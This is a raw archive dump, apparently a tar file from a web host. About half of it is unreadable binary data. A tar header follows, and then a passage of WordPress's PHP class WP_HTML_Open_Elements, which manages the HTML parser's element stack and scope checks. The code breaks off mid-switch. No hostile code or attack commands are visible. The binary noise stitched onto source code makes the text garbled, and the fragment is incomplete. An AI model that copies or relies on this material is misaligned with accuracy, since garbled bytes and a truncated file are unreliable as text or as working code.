����/ST�T�q��\��3��L���/�f[+,2��3�s�n�ǥ׹� K�U�,�!2w�\�3���� {��-S�=�T�,3���S�Am��t�jR��#�p��-i��gYDՔR���	�G����I>�`?ITP$����SB�d�������f�=�ŕ
h�Fg��&g%H����E.�X�%����Uic�����Ɓj�A���#)lL��se��ŢG,J�+���R�7�
�Ma��.���U������ {]]���
���>���Ri��ʭ�'��cB���`<9��A���4��
6෶�h���Y����`�Oa�;�L4�X�xP�YĢ�f�\a�7U�؏��s�&���mP�  N��i���2[��^��2� �L�P9T���Ԅ�kWy8!_;FaI���`ڗhbJ<:�`�sI�ؔ�Eb�D��)"\���:=)�<����ي]���5�W����.sQ]j�H&��S�t�L�Q�S8GHEI�\�OQ4ﲤV{��~��H�
�x5OZM�$d/a8b� �9��e<��M vJ]]���U�����;Y���K�l������b.�QQQ
�-��@X�`�av�I��‹�ƊاT~��mF��.�%Y��M��E=@5?�pS
~�O�a�y�i�a��#z��qqT��R�N\u%ը�r:CVi�ō�V�0�$�iO"]ԇ��O���>�L"+���[NJ��@����c1�'���ש��'i$a�6HDt~�x��d�(��̰��j:'��g�ij:sK�ǯ�%�C2b�5(P���߸��Lɂ������89��3v��;D��|~rv��[ww�贵ו�*ޠp����w��w��'ۇ��#{]������q�����y���Š�!;�sXT�va��r:H��5=�����)/
�@0�M��4�r���G�J%n��a"&2sd�?��$J=��	+wes���f�?���_��os��ƢLh"+'79�Jh�����_���n��:(�2��.е)Np�A=�9�:�sz���˕!&v9|�F��]-�	'PR�Z�L��}Jį�aKAd+kA��Ht.���Y<���.��qIU����Ƌ��*.���}���աUԁ&"ƣK,��>���E!�<���a0��q�\ӆb��D�᪁���!���Wc����tG��%*j$'�$�>�ra�c:+���8��h����p^jW��Zs���c&�W�=�H�/�	�+O�P��^wTT}�@�y1���Tgs��T)_d<�J���#V�YI
�Z�.�� �!��x滸T^�l��/�ZYɉ7]�±T-�`��4�}��4J*){W�@�>\W>��Y�c'�oHn��HZ����35'��4O��n	$f�
�E�-�
b�X2�]5)TR~ۡ�h��	�7�̅k�
� (b<�f���x��S�[#���2�Ŝ���:���c�6��\C�"%]��Ǿt�4�����=���g�J���Aa����"Қ�X�s�19Z�>c�	���(��Q���d��&��Yo��0x�Ǡw��y��o�v��?N�A�$eK�&�х��"��zב��w�vqc$(,4�
�3v��?	�c��x8�Rn��E�f�R>�q%�׶R��DJd/������*{�3W���:a*'���(��#�~�M���]F0�C��a�5�"�Qo�U��L��GO�چ��Q���W��
Ĝ��Vnba59M�@��I��Is���=��$�����|Xώ�ͮKc#X
N+���k� ��^���Co:��k�#�	�R��X�-���)k�=g&DU��f��S>u�t.���75��:L����AK�G�&�ZU�VBF����P3��D�-[f`��Zo!b�:���m0���'q}6Y�ܛ(U��Q�5xd��i|���=T��/b�'H��΋w�-EĊ�
�#m����4l�
����CRgə�fƠ��e<��aYZ7)�H�F��c8�L����c~h�In1��4�L��U�oD\	�J�8	�lr�&w��V1WQ
������sܷ�(�R�D���-ԙR�(ɘm�"�{�-��k��7��Q!H��[/��Ȯ���̩
Ȍy�=�������M"`��u��1)��1D	"eP�e��s.�
�"�=4DC�L�,��ȉ�4�@�D\�|�D����tz�bt��`L����T��~��g�(b��I�r�i�ayަ�q�6����s��]�UoG���X��_�W�p6Ө��ީ\�rL�J*d3�Ϫ����b�<q�M�]�U�����V(�I�4+�]�5��w��Ji"+5^��HEεu饢�L�/����W�����r�i��p�0x\�ɛHNT�����Ȯ��A(O�M���[M��Q�G1I��A����z���*���p�7UfG�
� 'ap�2�� c�R�1�A2rRI�M8�i1ڥ�
���c�:�Np �1��^M�I��>�>��/�.��)�^��K1�]{���2޷������[�)�<�����.��b��ǟk~�&�z
�[H�.7@�Iy���J�E즃�B�:޵/�wͻ99��[�L�S^QB���l�[���p�dZi���]Mn�茕�ЈB"�U��n��l	U��x� s�TW�oD"(Gߖ�/��	�x>�Ӟ�8
�5-��_F��AE[��0֐���U��<�BlU޲��:�@
��}9����.��_�ܬ������7�m>o=m'��/��*�����2}ۮ�����>]gB
Q�=6`Sr��Hj����?�pW�J�i�5��JF��q&Ώ"��t�����YA�FryIUh���*��/�'�*f���h��ͺ��I2�WR1n
)T,e��t��:�B<*��F����
^����MJ�{�un�Ȅx��]�ވ��8ם��_�N'@��	��M��������[���-z��r
�����(�{��F�����/�Ց' ;�-�:?-T�R��"�����?�Y~|S-��䁮ʹ�I�y_r�h)�E<�3j����
n)ƾH�4ǽ�^/i�!+R�E�8��@�ѩx/��=�<�;G������$��I$�l����	7~�zq	#N:A�O��U��-� ���(�8q{�тBN����<�V"�D
d�7�`�?�)p�E>��ţ�}��vI����y|���³��s�sΡqUרE䤚x'"�Cc�<k�dş[���y[1�h�i�E?��aK^�L+:3�M��/���h�ߞM<�Y�d3���%J[�6Ѓ��Z�(���A&)��D��Y��1��c,1KʑK�Z��c�DvcsMo�͢\�$�')�,��v�9���I|%�UdQEcl��h���-��s������:
��N�MΥ�	���Bu5I������ہ�x�v�i12�LDG���EV}sew�C��2����u�)"��Px�R��#�*���`D� �����}� iIJ����_�N��n�X䎣��&
pl��",�ɳ��)�-?:c"`x�/��:�����RU�٠b�t)0�&>�����7�
�X������> 3Z��C�ђ/��Px�De
��$(������;����Ł�'g���:�M�9n���02~�ˆ�C�' DJr����[�D�Z���4j������n�%S.}�(a�}ϟ�l��4��{�q��s*��u��;X?��������wηT��OO�}iD���E5E	�FO�^�T�ލj���
���N���{����#p�\#h_��=W��,��K>�n�uo��.[��݃V���^�[������&"���X���׾���c�99��tK�ň;w��D�Q%w�h�-�Ug&sl�^��]�|�XF�|b��-Dd�A�pexf�`����e������c)��\�!g��bezrp����u��Mb�H6��~Q�����z#S�.8(D?�s�h�Er?%)�6�
_�/Ov��Xw�����_��3v}u1�8�ja�������%�y�mq��­�t>��UӼ
Rg>�������q{����o�ZxC�o��X�.��N�{�٢dz����T��A|�R,����Ih�+����´K�Ǝ��9{5 �9�j�
R����k{�D���CM�̟�C�C}x�\��?��_v�7	w%]X�`���̪o_�4~Q�bI��l(��j��.�R��U�ث����(�˴mt��U��*�s_�5^�+��e�#�I	��Vi��(2⓲��Zs)9p?��?���0�:�,�O�H-U]��`��\�>�!�����r�Е��~��br�v���{z�7�^�Da������H=�y��F��E����_�%�þ-�
���R���.נ���R=KU8�ѻtB��Tk�b���y���:��MP�n��gL�I��+V0΂�6��?z±�س�����л5s�=�!�]]��p|���KO��;g]�F�ž��[g���z��1�}|�@�\0K�FX��EK�l6�b�.� �^}��;V�U��
zם���S�E���Q��}��W�–��G���x�.��C��Q'��-l�U�f�aMR�=�cu�pU�PEv��G�0[ذ/t�*�1��}g�.\bU�(��S��pA���iM��ś£��$�TɡR��@���i��|��Oz~O�O���0�I{neU��fZfd��+�v[Hש�]��StC���k��0I1��Q�*��(���S��H�����d�d���yq�ۡ6���n�>��S駕�Y	.�h����s�Gk���
���i7(V1k�3�$L��o$"=�!m�͢�2�����A#�K�:1W��ޜJ��@U4o�,̓ȡ�G��p�QN�f�^YB����0�'��=�?�҃\��.-�OnF�mT�-͝h����`&�%��zDC��,�슁����̂.=UQT�[�dg�Y�?n�$w��B0"ͮ�u�S�'��CISί�WJܳem|#~���:M�V�����)�Kys�ySA�ՁG(�$��T��L+t8�����d/�C%�L��������	��pG@d��ԆO�z:=�6�b$�U�ߊ-�n��3��_��	��D�S�K�s��s��2��$��|���c���MD�%���'MU�."��@5�>e5l�P�U�*��G׉��\��06P�Yt�_�|�����Ʃ��MT�h��69ߜ��ɩiuѭ�nПa��`��A���E��\�Q�w�tݸk*h[���5>tի����K�WM[���3p�7A=�
�qOߊ{�Ͱ�c��
���f�நp�s���"���C��������_0O�|r�t�ߔ���j�ir&l������d�n����܍|S�'f�����?랈��.PZ�!���D��TP6����PS`w�G�/��FC����ٓ��?_͸��۱���:��lD����&N�s��U�M�3In6L]���Ӊژ������O����52-9�r��e�d�{0�p(4ž�2dw�
��'d_���%��6��ōs�"���])�1k���b� �g���<�OW�d:^m��`:h�(�7�h���K�g���=7���`n�̋b�5_���³n-�,@+��ô)hcH��䤙�����di�𣙛�eqs��.ρK�*B��&�{�����u�-�cqˈ-�w�ø[W�=�Y�>��C����f���PP�țL<{��y�:m�gU�g�IA��N��Z����
j�s��)����T�WѹW�d_�M G�c�tNIV1��|4�s冹(�!�w����W���o�F��N�(���=���[/�NZ6u��K!�����h1�# ��6���E��x
{�$��='z{n��O	.D X�ʼn��<��������t1| �[5�O���\ꗘ���.���/�qC�U�*i<�1��r�4P��V1BU/����XpN�/p_<���Ϋ�z�(U\[]In���7�yN3F@��>�,��![���m��=��o
H��v&"�|pa�/��9+X>�Ϣ�K���l�$���#�郌�l�c%8�;����c��?�2�}�|v��[�)�ѓ+16����
�h�I]D�M��X���S�L4;�����@z��] ����i~��Q�+G?o��5k����_�َ�{���U�-���E*}ۿ.z���=��cvp�g��r%D�`�
�qD̍��Fo_p��
W�R�=�!q��d.���=WX'�6��
\�|侱����=W�%>3"b	� W$�Hb��S@u�7B��8�����;�j�0�'%D�r+gl�4D-n~ڃGg��r;��+�DU<��H�5��mn�;���v�P�3�Lɘ�ff��tuft���Pm��K���.�ޗ��������_]g*qS�
Ō�.�\�8�Ԓ��d�g;o�E��V�eߡ�IN���~R�u�9�jxC���QzT�]
��.�g3��b�/�
\461W�Y�+�����Q��i�E�e�+�p=L)���2%�$3l�#������!�{(�C�gE,⨗�n����ޫCYc���Q�.7�%x6��+�Z�,��
T���I�'R�\��_�W&V��M�/s��mPT2�0�0���j�U�7��f�ARE�d�c�p
n��rA9z��VL�KUDӛϧbVJt?�%7X-�X���V���lٌ������fk�J���S�;V5�)�>��a.`3��6�]�;:�z3���b�}�9;,����J"%9�#%
J�1�sM�ŒL邀,ǭ�́�h��� ��\/!�ް�uW�y9���.��D��Hr��J���+�g&!�T�����22=�d��w;]!��	'���Za��m5�E4B�p�⫑�m��)8�"���S��֖����(��<!j⡓���{n�<�:��e�V8G0�|�ja׫���H5x��kЯ5���Ql�� �]�+�c�(��nA���	��|W5JP�?�0���Qpٔ^�[�+"$�#�iZ��"I3�9��JTU!���0�����7��_9�j��T샃��9��\�C���R>�>F6za~[��DHj�U{��5�_�-��C+/�'�S�!��~T�+7��U���E�$��䙘KŁ��붱��5ͪ�����#Źl(+����X^��*�_�v�-j�
Жj�!��>��i-�eP�ԡ��㶊��ei������<����	!�kŌ��H�e�d���w� b�+Y��j��%�O�����uF1��/��8Tq�ey��J��0���Yց�G���&�K���D�̺�%E:\]�h��6u�,��vBS�jt��$x/�A��ʭ�,i�\��b3��F7��F~�fkyX)�f��0�@�9�H?\��/ə2Vn�o��T�'�~l�� ���i�R:X
�k�/�I�0���=L3m�x��1y����ЩS	�U4G�B�!�6��H>���Aȓ�Y�*��k����Ӱ�7|u^�2s�bn��2�8�V��N�Zecܷ��p���6�fs�nDT�JR�܏��N��r�ꞔ��ZsU�UsS����Q��e_��}�-�s���g��ƥ8<R��(|ȕsC����eI_7r	��e��U��:h!��#*9�84]�8�|u��X�/IEcU>�A$��P�4t�(�O���S�����(jg��)��صF�#�oy�N'�x���au�w�D[��8��:����O�s�+O��—	���s�Գ�뾞k��o����Z����z���d헇G�s�J�;��⥾��K��!��<<<�4�:��PE=|���q9����H9u�@uA�z�&,���K��ź,U��t�
�����c��zP��̮�~F|��gj���n���E���=���V��j��R�-2X��\5ro[�꘬�(�2���m�J
�= ���ak�C���Q��1�(��jJ̥]�"���L'��?�0z���ar�����U7��*-�ӥ��"������v@�Xip�U����y(t�T
�XGlT�Ӿt��#����څ̭�i&�����D�g��t���v�˧����ڪ`�<�%SPi'Σ�bQ|�&���|��o��37=�l���6��78~[���{{'��2I�y|��*!���I�Y�U��[ ����^�wϛ�U_�8:,���Gg�{e���~����N)t��/��싳N�L<T)Y%߶;�2��G���p���뽲��:�~�1��f���웲)�P��y�l~/ڭ���RT{�~Y����I��bj`�^�?(�
S��+��/ʾ���?�}�U�_�}�M���S�U���¹W�oar���v�ֶ^�}sx|V��ߵ���U��eZ�~��үN;�ò�4ۥza��/g�����J����f�=<<��W�G���_����J"��Ҩ2D9n�Tʾۇ������]���V�d�U闻E*P�|ytv�[:���JY����G��͒�*T���}�
_��S��9��仲]�T���+##���n�=+�Jy�_|��_����	�;�"�����2�[�Z�mٝ�o+�=���Vt��K^(�A�L_ϡ�s%�p��eN�A�
Vf�������w�hQX.BL����1�D��!]����KSP�4�a���_�Nz��~b���b��~�^XO�G�7�ыBv�p��J�H3� |�dsfk98�2g.���!��������"M��Sy���/3��p	��2�B@�+E�
ѥTZ�L���+$�
y��W/2p%��"�E��!./#���6+2�(��XET&&�~ԡ��R�V���U���[�}F��Y�E��<[��F뛚�à6�.����F�=�g�
�=r;�O�H�Οj���{t	��3�n�"�W<�4��t6�
���Ј�阃n~�I�g�B�!E��ߖ�X��ul�Æ^�~�[�s2�tJ���Z��Ctȏ�Q��W_���
iM�7�;P�PBl��1
j�4�v��<��2��M���
$����;W,�-� 0I�'n�	X�rJ�)�����n��+��pM���:e/q�*��e�:`�߳�_�}�цp�(1��W��A�0�g������+�nu>!��RP���
�T��gn
�`0 -'\�Um�Ud=Ж�x0�X׺��L��y��V�9�~:�Ѡ���.�v��/� �P���Dž/
 r���ط�6��9��y@���u����,M�p�����`��(��ö�⾼�r��T5��,�ڋ��������Mn���./w��g�놿	'��ra(�)8>9�m��vA����+@8���z�ʉ�-v:�I���%율�a�:�+9i��잝���r���+�ɬ��	�WS�8�e\g�Ϛq&�u,�
��vC�

`4�t�Ӎ�,�J�������������I���s�[b������#�Sk�Y
B�f�i�u���k�u��>?:��y��)�	;�`���0���c��坍(c�GN \�
;�ʺ:�L�R�o�FbQ����T�e4�V�޶�u���"\4"z�@Y�J�$���9���$Mc�Z�%bWf���֔�Lpj-��2�v@�,��3�u���&>ؑ�!9*#����M��u{I	��(~R���rp�:o��P_:g�{tx�99��
�G��+��,�6��ꪚ$�Tr������%�c	�y{�|�������ϲ?�?���Hclass-wp-html-open-elements.php.tar000064400000057000151442221670013314 0ustar00home/homerdlh/public_html/wp-includes/html-api/class-wp-html-open-elements.php000064400000053716151440301130023526 0ustar00<?php
/**
 * HTML API: WP_HTML_Open_Elements class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for managing the stack of open elements.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * > Initially, the stack of open elements is empty. The stack grows
 * > downwards; the topmost node on the stack is the first one added
 * > to the stack, and the bottommost node of the stack is the most
 * > recently added node in the stack (notwithstanding when the stack
 * > is manipulated in a random access fashion as part of the handling
 * > for misnested tags).
 *
 * @since 6.4.0
 *
 * @access private
 *
 * @see https://html.spec.whatwg.org/#stack-of-open-elements
 * @see WP_HTML_Processor
 */
class WP_HTML_Open_Elements {
	/**
	 * Holds the stack of open element references.
	 *
	 * @since 6.4.0
	 *
	 * @var WP_HTML_Token[]
	 */
	public $stack = array();

	/**
	 * Whether a P element is in button scope currently.
	 *
	 * This class optimizes scope lookup by pre-calculating
	 * this value when elements are added and removed to the
	 * stack of open elements which might change its value.
	 * This avoids frequent iteration over the stack.
	 *
	 * @since 6.4.0
	 *
	 * @var bool
	 */
	private $has_p_in_button_scope = false;

	/**
	 * A function that will be called when an item is popped off the stack of open elements.
	 *
	 * The function will be called with the popped item as its argument.
	 *
	 * @since 6.6.0
	 *
	 * @var Closure|null
	 */
	private $pop_handler = null;

	/**
	 * A function that will be called when an item is pushed onto the stack of open elements.
	 *
	 * The function will be called with the pushed item as its argument.
	 *
	 * @since 6.6.0
	 *
	 * @var Closure|null
	 */
	private $push_handler = null;

	/**
	 * Sets a pop handler that will be called when an item is popped off the stack of
	 * open elements.
	 *
	 * The function will be called with the pushed item as its argument.
	 *
	 * @since 6.6.0
	 *
	 * @param Closure $handler The handler function.
	 */
	public function set_pop_handler( Closure $handler ): void {
		$this->pop_handler = $handler;
	}

	/**
	 * Sets a push handler that will be called when an item is pushed onto the stack of
	 * open elements.
	 *
	 * The function will be called with the pushed item as its argument.
	 *
	 * @since 6.6.0
	 *
	 * @param Closure $handler The handler function.
	 */
	public function set_push_handler( Closure $handler ): void {
		$this->push_handler = $handler;
	}

	/**
	 * Returns the name of the node at the nth position on the stack
	 * of open elements, or `null` if no such position exists.
	 *
	 * Note that this uses a 1-based index, which represents the
	 * "nth item" on the stack, counting from the top, where the
	 * top-most element is the 1st, the second is the 2nd, etc...
	 *
	 * @since 6.7.0
	 *
	 * @param int $nth Retrieve the nth item on the stack, with 1 being
	 *                 the top element, 2 being the second, etc...
	 * @return WP_HTML_Token|null Name of the node on the stack at the given location,
	 *                            or `null` if the location isn't on the stack.
	 */
	public function at( int $nth ): ?WP_HTML_Token {
		foreach ( $this->walk_down() as $item ) {
			if ( 0 === --$nth ) {
				return $item;
			}
		}

		return null;
	}

	/**
	 * Reports if a node of a given name is in the stack of open elements.
	 *
	 * @since 6.7.0
	 *
	 * @param string $node_name Name of node for which to check.
	 * @return bool Whether a node of the given name is in the stack of open elements.
	 */
	public function contains( string $node_name ): bool {
		foreach ( $this->walk_up() as $item ) {
			if ( $node_name === $item->node_name ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Reports if a specific node is in the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $token Look for this node in the stack.
	 * @return bool Whether the referenced node is in the stack of open elements.
	 */
	public function contains_node( WP_HTML_Token $token ): bool {
		foreach ( $this->walk_up() as $item ) {
			if ( $token === $item ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Returns how many nodes are currently in the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @return int How many node are in the stack of open elements.
	 */
	public function count(): int {
		return count( $this->stack );
	}

	/**
	 * Returns the node at the end of the stack of open elements,
	 * if one exists. If the stack is empty, returns null.
	 *
	 * @since 6.4.0
	 *
	 * @return WP_HTML_Token|null Last node in the stack of open elements, if one exists, otherwise null.
	 */
	public function current_node(): ?WP_HTML_Token {
		$current_node = end( $this->stack );

		return $current_node ? $current_node : null;
	}

	/**
	 * Indicates if the current node is of a given type or name.
	 *
	 * It's possible to pass either a node type or a node name to this function.
	 * In the case there is no current element it will always return `false`.
	 *
	 * Example:
	 *
	 *     // Is the current node a text node?
	 *     $stack->current_node_is( '#text' );
	 *
	 *     // Is the current node a DIV element?
	 *     $stack->current_node_is( 'DIV' );
	 *
	 *     // Is the current node any element/tag?
	 *     $stack->current_node_is( '#tag' );
	 *
	 * @see WP_HTML_Tag_Processor::get_token_type
	 * @see WP_HTML_Tag_Processor::get_token_name
	 *
	 * @since 6.7.0
	 *
	 * @access private
	 *
	 * @param string $identity Check if the current node has this name or type (depending on what is provided).
	 * @return bool Whether there is a current element that matches the given identity, whether a token name or type.
	 */
	public function current_node_is( string $identity ): bool {
		$current_node = end( $this->stack );
		if ( false === $current_node ) {
			return false;
		}

		$current_node_name = $current_node->node_name;

		return (
			$current_node_name === $identity ||
			( '#doctype' === $identity && 'html' === $current_node_name ) ||
			( '#tag' === $identity && ctype_upper( $current_node_name ) )
		);
	}

	/**
	 * Returns whether an element is in a specific scope.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-the-specific-scope
	 *
	 * @param string   $tag_name         Name of tag check.
	 * @param string[] $termination_list List of elements that terminate the search.
	 * @return bool Whether the element was found in a specific scope.
	 */
	public function has_element_in_specific_scope( string $tag_name, $termination_list ): bool {
		foreach ( $this->walk_up() as $node ) {
			$namespaced_name = 'html' === $node->namespace
				? $node->node_name
				: "{$node->namespace} {$node->node_name}";

			if ( $namespaced_name === $tag_name ) {
				return true;
			}

			if (
				'(internal: H1 through H6 - do not use)' === $tag_name &&
				in_array( $namespaced_name, array( 'H1', 'H2', 'H3', 'H4', 'H5', 'H6' ), true )
			) {
				return true;
			}

			if ( in_array( $namespaced_name, $termination_list, true ) ) {
				return false;
			}
		}

		return false;
	}

	/**
	 * Returns whether a particular element is in scope.
	 *
	 * > The stack of open elements is said to have a particular element in
	 * > scope when it has that element in the specific scope consisting of
	 * > the following element types:
	 * >
	 * >   - applet
	 * >   - caption
	 * >   - html
	 * >   - table
	 * >   - td
	 * >   - th
	 * >   - marquee
	 * >   - object
	 * >   - template
	 * >   - MathML mi
	 * >   - MathML mo
	 * >   - MathML mn
	 * >   - MathML ms
	 * >   - MathML mtext
	 * >   - MathML annotation-xml
	 * >   - SVG foreignObject
	 * >   - SVG desc
	 * >   - SVG title
	 *
	 * @since 6.4.0
	 * @since 6.7.0 Full support.
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether given element is in scope.
	 */
	public function has_element_in_scope( string $tag_name ): bool {
		return $this->has_element_in_specific_scope(
			$tag_name,
			array(
				'APPLET',
				'CAPTION',
				'HTML',
				'TABLE',
				'TD',
				'TH',
				'MARQUEE',
				'OBJECT',
				'TEMPLATE',

				'math MI',
				'math MO',
				'math MN',
				'math MS',
				'math MTEXT',
				'math ANNOTATION-XML',

				'svg FOREIGNOBJECT',
				'svg DESC',
				'svg TITLE',
			)
		);
	}

	/**
	 * Returns whether a particular element is in list item scope.
	 *
	 * > The stack of open elements is said to have a particular element
	 * > in list item scope when it has that element in the specific scope
	 * > consisting of the following element types:
	 * >
	 * >   - All the element types listed above for the has an element in scope algorithm.
	 * >   - ol in the HTML namespace
	 * >   - ul in the HTML namespace
	 *
	 * @since 6.4.0
	 * @since 6.5.0 Implemented: no longer throws on every invocation.
	 * @since 6.7.0 Supports all required HTML elements.
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-list-item-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether given element is in scope.
	 */
	public function has_element_in_list_item_scope( string $tag_name ): bool {
		return $this->has_element_in_specific_scope(
			$tag_name,
			array(
				'APPLET',
				'BUTTON',
				'CAPTION',
				'HTML',
				'TABLE',
				'TD',
				'TH',
				'MARQUEE',
				'OBJECT',
				'OL',
				'TEMPLATE',
				'UL',

				'math MI',
				'math MO',
				'math MN',
				'math MS',
				'math MTEXT',
				'math ANNOTATION-XML',

				'svg FOREIGNOBJECT',
				'svg DESC',
				'svg TITLE',
			)
		);
	}

	/**
	 * Returns whether a particular element is in button scope.
	 *
	 * > The stack of open elements is said to have a particular element
	 * > in button scope when it has that element in the specific scope
	 * > consisting of the following element types:
	 * >
	 * >   - All the element types listed above for the has an element in scope algorithm.
	 * >   - button in the HTML namespace
	 *
	 * @since 6.4.0
	 * @since 6.7.0 Supports all required HTML elements.
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-button-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether given element is in scope.
	 */
	public function has_element_in_button_scope( string $tag_name ): bool {
		return $this->has_element_in_specific_scope(
			$tag_name,
			array(
				'APPLET',
				'BUTTON',
				'CAPTION',
				'HTML',
				'TABLE',
				'TD',
				'TH',
				'MARQUEE',
				'OBJECT',
				'TEMPLATE',

				'math MI',
				'math MO',
				'math MN',
				'math MS',
				'math MTEXT',
				'math ANNOTATION-XML',

				'svg FOREIGNOBJECT',
				'svg DESC',
				'svg TITLE',
			)
		);
	}

	/**
	 * Returns whether a particular element is in table scope.
	 *
	 * > The stack of open elements is said to have a particular element
	 * > in table scope when it has that element in the specific scope
	 * > consisting of the following element types:
	 * >
	 * >   - html in the HTML namespace
	 * >   - table in the HTML namespace
	 * >   - template in the HTML namespace
	 *
	 * @since 6.4.0
	 * @since 6.7.0 Full implementation.
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-table-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether given element is in scope.
	 */
	public function has_element_in_table_scope( string $tag_name ): bool {
		return $this->has_element_in_specific_scope(
			$tag_name,
			array(
				'HTML',
				'TABLE',
				'TEMPLATE',
			)
		);
	}

	/**
	 * Returns whether a particular element is in select scope.
	 *
	 * This test differs from the others like it, in that its rules are inverted.
	 * Instead of arriving at a match when one of any tag in a termination group
	 * is reached, this one terminates if any other tag is reached.
	 *
	 * > The stack of open elements is said to have a particular element in select scope when it has
	 * > that element in the specific scope consisting of all element types except the following:
	 * >   - optgroup in the HTML namespace
	 * >   - option in the HTML namespace
	 *
	 * @since 6.4.0 Stub implementation (throws).
	 * @since 6.7.0 Full implementation.
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-select-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether the given element is in SELECT scope.
	 */
	public function has_element_in_select_scope( string $tag_name ): bool {
		foreach ( $this->walk_up() as $node ) {
			if ( $node->node_name === $tag_name ) {
				return true;
			}

			if (
				'OPTION' !== $node->node_name &&
				'OPTGROUP' !== $node->node_name
			) {
				return false;
			}
		}

		return false;
	}

	/**
	 * Returns whether a P is in BUTTON scope.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-button-scope
	 *
	 * @return bool Whether a P is in BUTTON scope.
	 */
	public function has_p_in_button_scope(): bool {
		return $this->has_p_in_button_scope;
	}

	/**
	 * Pops a node off of the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#stack-of-open-elements
	 *
	 * @return bool Whether a node was popped off of the stack.
	 */
	public function pop(): bool {
		$item = array_pop( $this->stack );
		if ( null === $item ) {
			return false;
		}

		$this->after_element_pop( $item );
		return true;
	}

	/**
	 * Pops nodes off of the stack of open elements until an HTML tag with the given name has been popped.
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Open_Elements::pop
	 *
	 * @param string $html_tag_name Name of tag that needs to be popped off of the stack of open elements.
	 * @return bool Whether a tag of the given name was found and popped off of the stack of open elements.
	 */
	public function pop_until( string $html_tag_name ): bool {
		foreach ( $this->walk_up() as $item ) {
			$this->pop();

			if ( 'html' !== $item->namespace ) {
				continue;
			}

			if (
				'(internal: H1 through H6 - do not use)' === $html_tag_name &&
				in_array( $item->node_name, array( 'H1', 'H2', 'H3', 'H4', 'H5', 'H6' ), true )
			) {
				return true;
			}

			if ( $html_tag_name === $item->node_name ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Pushes a node onto the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#stack-of-open-elements
	 *
	 * @param WP_HTML_Token $stack_item Item to add onto stack.
	 */
	public function push( WP_HTML_Token $stack_item ): void {
		$this->stack[] = $stack_item;
		$this->after_element_push( $stack_item );
	}

	/**
	 * Removes a specific node from the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $token The node to remove from the stack of open elements.
	 * @return bool Whether the node was found and removed from the stack of open elements.
	 */
	public function remove_node( WP_HTML_Token $token ): bool {
		foreach ( $this->walk_up() as $position_from_end => $item ) {
			if ( $token->bookmark_name !== $item->bookmark_name ) {
				continue;
			}

			$position_from_start = $this->count() - $position_from_end - 1;
			array_splice( $this->stack, $position_from_start, 1 );
			$this->after_element_pop( $item );
			return true;
		}

		return false;
	}


	/**
	 * Steps through the stack of open elements, starting with the top element
	 * (added first) and walking downwards to the one added last.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $html = '<em><strong><a>We are here';
	 *     foreach ( $stack->walk_down() as $node ) {
	 *         echo "{$node->node_name} -> ";
	 *     }
	 *     > EM -> STRONG -> A ->
	 *
	 * To start with the most-recently added element and walk towards the top,
	 * see WP_HTML_Open_Elements::walk_up().
	 *
	 * @since 6.4.0
	 */
	public function walk_down() {
		$count = count( $this->stack );

		for ( $i = 0; $i < $count; $i++ ) {
			yield $this->stack[ $i ];
		}
	}

	/**
	 * Steps through the stack of open elements, starting with the bottom element
	 * (added last) and walking upwards to the one added first.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $html = '<em><strong><a>We are here';
	 *     foreach ( $stack->walk_up() as $node ) {
	 *         echo "{$node->node_name} -> ";
	 *     }
	 *     > A -> STRONG -> EM ->
	 *
	 * To start with the first added element and walk towards the bottom,
	 * see WP_HTML_Open_Elements::walk_down().
	 *
	 * @since 6.4.0
	 * @since 6.5.0 Accepts $above_this_node to start traversal above a given node, if it exists.
	 *
	 * @param WP_HTML_Token|null $above_this_node Optional. Start traversing above this node,
	 *                                            if provided and if the node exists.
	 */
	public function walk_up( ?WP_HTML_Token $above_this_node = null ) {
		$has_found_node = null === $above_this_node;

		for ( $i = count( $this->stack ) - 1; $i >= 0; $i-- ) {
			$node = $this->stack[ $i ];

			if ( ! $has_found_node ) {
				$has_found_node = $node === $above_this_node;
				continue;
			}

			yield $node;
		}
	}

	/*
	 * Internal helpers.
	 */

	/**
	 * Updates internal flags after adding an element.
	 *
	 * Certain conditions (such as "has_p_in_button_scope") are maintained here as
	 * flags that are only modified when adding and removing elements. This allows
	 * the HTML Processor to quickly check for these conditions instead of iterating
	 * over the open stack elements upon each new tag it encounters. These flags,
	 * however, need to be maintained as items are added and removed from the stack.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $item Element that was added to the stack of open elements.
	 */
	public function after_element_push( WP_HTML_Token $item ): void {
		$namespaced_name = 'html' === $item->namespace
			? $item->node_name
			: "{$item->namespace} {$item->node_name}";

		/*
		 * When adding support for new elements, expand this switch to trap
		 * cases where the precalculated value needs to change.
		 */
		switch ( $namespaced_name ) {
			case 'APPLET':
			case 'BUTTON':
			case 'CAPTION':
			case 'HTML':
			case 'TABLE':
			case 'TD':
			case 'TH':
			case 'MARQUEE':
			case 'OBJECT':
			case 'TEMPLATE':
			case 'math MI':
